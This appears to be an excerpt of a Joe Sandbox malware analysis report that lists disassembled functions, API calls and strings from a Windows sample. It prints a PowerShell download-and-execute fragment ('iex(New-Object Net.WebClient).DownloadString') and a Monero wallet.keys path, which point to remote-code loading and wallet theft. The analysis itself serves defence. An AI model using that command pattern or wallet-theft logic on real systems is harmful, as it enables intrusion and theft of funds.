___crtGetStringTypeA.LIBCMT ref: 0009C8EC
___crtLCMapStringA.LIBCMT ref: 0009C90C
___crtLCMapStringA.LIBCMT ref: 0009C931

Strings

, xrefs: 0009C896

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Typememset
String ID:
API String ID: 3530896902-3916222277
Opcode ID: 8cd6b8920d645c0be719cc48e6c599a651c24bac3bb86ad66f1d0481ced5bcf0
Instruction ID: 7639910bb3b47c39c337c607ca3f340db3ede076de2c685ea2ddc6111f0d7c59
Opcode Fuzzy Hash: 8cd6b8920d645c0be719cc48e6c599a651c24bac3bb86ad66f1d0481ced5bcf0
Instruction Fuzzy Hash: 8341D97190079C5EEF318B24CD99FFBBBE89F45704F1444E8E9CA96182D2719A44EF60

Function 00094780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,00D3F398), ref: 000947DB

Part of subcall function 00098DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00098E0B

lstrcat.KERNEL32(?,00000000), ref: 00094801
lstrcat.KERNEL32(?,?), ref: 00094820
lstrcat.KERNEL32(?,?), ref: 00094834
lstrcat.KERNEL32(?,00D2A770), ref: 00094847
lstrcat.KERNEL32(?,?), ref: 0009485B
lstrcat.KERNEL32(?,00D3E348), ref: 0009486F

Part of subcall function 0009A740: lstrcpy.KERNEL32(000A0E17,00000000), ref: 0009A788

Part of subcall function 00098D90: GetFileAttributesA.KERNEL32(00000000,?,00081B54,?,?,000A564C,?,?,000A0E1F), ref: 00098D9F

Part of subcall function 00094570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00094580
Part of subcall function 00094570: RtlAllocateHeap.NTDLL(00000000), ref: 00094587
Part of subcall function 00094570: wsprintfA.USER32 ref: 000945A6
Part of subcall function 00094570: FindFirstFileA.KERNEL32(?,?), ref: 000945BD

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: 1d12421e0215428a90e813f63df8da2d63832dcdba30b7b478b4d105d70614fc
Instruction ID: 2c2c3e7f4f97976ef5e1db9254bd49d0c12b57e50ca7298ecc3f9f865f988a97
Opcode Fuzzy Hash: 1d12421e0215428a90e813f63df8da2d63832dcdba30b7b478b4d105d70614fc
Instruction Fuzzy Hash: A7317FB290021CA7CF10FBB0DC8AEE9737CAB48704F444589F35996082EE749789DB96

Function 00092C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 0009A740: lstrcpy.KERNEL32(000A0E17,00000000), ref: 0009A788

Part of subcall function 0009A9B0: lstrlen.KERNEL32(?,00D38988,?,\Monero\wallet.keys,000A0E17), ref: 0009A9C5
Part of subcall function 0009A9B0: lstrcpy.KERNEL32(00000000), ref: 0009AA04
Part of subcall function 0009A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0009AA12

Part of subcall function 0009A920: lstrcpy.KERNEL32(00000000,?), ref: 0009A972
Part of subcall function 0009A920: lstrcat.KERNEL32(00000000), ref: 0009A982

Part of subcall function 0009A8A0: lstrcpy.KERNEL32(?,000A0E17), ref: 0009A905

ShellExecuteEx.SHELL32(0000003C), ref: 00092D85

Strings

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00092D04
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00092CC4
<, xrefs: 00092D39
')", xrefs: 00092CB3

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: 87c29640be0da1af17a4502942744374cb2f9051dce6eaf438a313f6811d4b07
Instruction ID: e89be59b5f21d0b84a00419fc10e3f9c6de35ff6afc83d4243486df7b854e1e0
Opcode Fuzzy Hash: 87c29640be0da1af17a4502942744374cb2f9051dce6eaf438a313f6811d4b07
Instruction Fuzzy Hash: 1B41DD71E102189ADF14EBA0D896BEEB774AF15300F404119E116AA192DF746A4AEFD2

Function 00089E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00089F41

Part of subcall function 0009A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0009A7E6

Part of subcall function 0009A740: lstrcpy.KERNEL32(000A0E17,00000000), ref: 0009A788

Strings

@, xrefs: 00089EF1
v20, xrefs: 00089E21
v10, xrefs: 00089EA3
ERROR_RUN_EXTRACTOR, xrefs: 00089E67

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: e9e40540ea179c612c51948f8260904798044c82c536c2eb57bd1719136b1e14
Instruction ID: 9dc016bd1b12d5dcd1b7036f8e83dd8c51074860d0ed995ff6a559d29aaee753
Opcode Fuzzy Hash: e9e40540ea179c612c51948f8260904798044c82c536c2eb57bd1719136b1e14
Instruction Fuzzy Hash: 01612D70A10248DBDF24EFA4CC96BEE77B5BF45300F008118F94A5F592EB746A06CB92

Function 000970D0 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 140COMMON

Download Yara Rule

APIs

Part of subcall function 0009A740: lstrcpy.KERNEL32(000A0E17,00000000), ref: 0009A788

memset.MSVCRT ref: 0009716A

Strings

s, xrefs: 000972AE, 00097179, 0009717C
s, xrefs: 00097111
65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0009718C

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: lstrcpymemset
String ID: s$s$65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 4047604823-1849715570
Opcode ID: 9f8627165bde6d4daf0fbb3c8e3d492cd6c6b4651d7c59300f858c3822904c88
Instruction ID: 355bffb72020971e78e8d699b133527c13a7f442d42e15ecea2f9a95d3078023
Opcode Fuzzy Hash: 9f8627165bde6d4daf0fbb3c8e3d492cd6c6b4651d7c59300f858c3822904c88
Instruction Fuzzy Hash: B35181B1D142189BDF64EBA4DC45BEEB3B4AF44304F2040A8E21976182EF746E88DF55

Function 00097E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00097E37
RtlAllocateHeap.NTDLL(00000000), ref: 00097E3E
RegOpenKeyExA.ADVAPI32(80000002,00D2B8E8,00000000,00020119,?), ref: 00097E5E
RegQueryValueExA.ADVAPI32(?,00D3E0E8,00000000,00000000,000000FF,000000FF), ref: 00097E7F
RegCloseKey.ADVAPI32(?), ref: 00097E92

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 97e6b3a30a2952cf67cc5fe4c7f8aabc12827a7508bd9c71f9ad01a8f38745c7
Instruction ID: 6e78d685c8d12dbf8b987746416c7380a92a9b90525219f497b146144c52b597
Opcode Fuzzy Hash: 97e6b3a30a2952cf67cc5fe4c7f8aabc12827a7508bd9c71f9ad01a8f38745c7
Instruction Fuzzy Hash: 28115EB2A44209EBDB14CF95ED49FBFBBB8FB48B14F104259F605A7280D77458009BA2

Function 00099260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(00D3F008,?,?,?,0009140C,?,00D3F008,00000000), ref: 0009926C
lstrcpyn.KERNEL32(002CAB88,00D3F008,00D3F008,?,0009140C,?,00D3F008), ref: 00099290
lstrlen.KERNEL32(?,?,0009140C,?,00D3F008), ref: 000992A7
wsprintfA.USER32 ref: 000992C7

Strings

%s%s, xrefs: 000992B5

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: 0a92012b317c680d6c53b0401e8c9ac34ebd90da366eefed03eedccfa2ffe91f
Instruction ID: df86f365501934db64641b33b05ace10a5ce835e9c9abfd6e55ed643a7c372f6
Opcode Fuzzy Hash: 0a92012b317c680d6c53b0401e8c9ac34ebd90da366eefed03eedccfa2ffe91f
Instruction Fuzzy Hash: 3501937550010CFFCB04DFECD988EAE7BB9EF58358F148248F9099B244C635AA509B91

Function 000812A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 000812B4
RtlAllocateHeap.NTDLL(00000000), ref: 000812BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 000812D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 000812F5
RegCloseKey.ADVAPI32(?), ref: 000812FF

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 64b78107429f73a689f237cb337e5e19aae0f460e4dedc479861fd3482634838
Instruction ID: 7d006b3fc34906dcd3f97ed2a761d8170b98febb221998c3d0b58e799149703c
Opcode Fuzzy Hash: 64b78107429f73a689f237cb337e5e19aae0f460e4dedc479861fd3482634838
Instruction Fuzzy Hash: 1B01CDB9A4020CBBDB14DFE4EC4DFAEB7B8FB48705F108159FA0597280DA759A058B51

Function 00096630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00096663

Part of subcall function 0009A740: lstrcpy.KERNEL32(000A0E17,00000000), ref: 0009A788

Part of subcall function 0009A9B0: lstrlen.KERNEL32(?,00D38988,?,\Monero\wallet.keys,000A0E17), ref: 0009A9C5
Part of subcall function 0009A9B0: lstrcpy.KERNEL32(00000000), ref: 0009AA04
Part of subcall function 0009A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0009AA12

Part of subcall function 0009A8A0: lstrcpy.KERNEL32(?,000A0E17), ref: 0009A905

ShellExecuteEx.SHELL32(0000003C), ref: 00096726
ExitProcess.KERNEL32 ref: 00096755

Strings

<, xrefs: 000966D9

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 69897c8bd0e75c587de9ae86e314d6ef9e31c6e2fc478cd6361f3a865c417bdd
Instruction ID: 5068a3c48af066a837e5bfa3ecb44a157c04fabf981fcddf2c17d6b2737fec70
Opcode Fuzzy Hash: 69897c8bd0e75c587de9ae86e314d6ef9e31c6e2fc478cd6361f3a865c417bdd
Instruction Fuzzy Hash: BB314FB1D01218ABDB14EB90DC96FDEB778AF04300F404189F30A66192DF746B49DFAA

Function 000987C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,000A0E28,00000000,?), ref: 0009882F
RtlAllocateHeap.NTDLL(00000000), ref: 00098836
wsprintfA.USER32 ref: 00098850

Part of subcall function 0009A740: lstrcpy.KERNEL32(000A0E17,00000000), ref: 0009A788

Strings

%dx%d, xrefs: 00098847

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: 51fc1c880ead9c8b72d052df01df006b059c443a8d0685ca38d1e37b32abf42b
Instruction ID: 879a9f0c313e59f4581bea3ae116c8b1263dd94774be4561b54cd162b332f8b6
Opcode Fuzzy Hash: 51fc1c880ead9c8b72d052df01df006b059c443a8d0685ca38d1e37b32abf42b
Instruction Fuzzy Hash: 6F210DB1E44208AFDB04DFD4ED49FAEBBB8FB49715F104219F605A7290C779A901CBA1

Function 00098D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0009951E,00000000), ref: 00098D5B
RtlAllocateHeap.NTDLL(00000000), ref: 00098D62
wsprintfW.USER32 ref: 00098D78

Strings

%hs, xrefs: 00098D6F

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
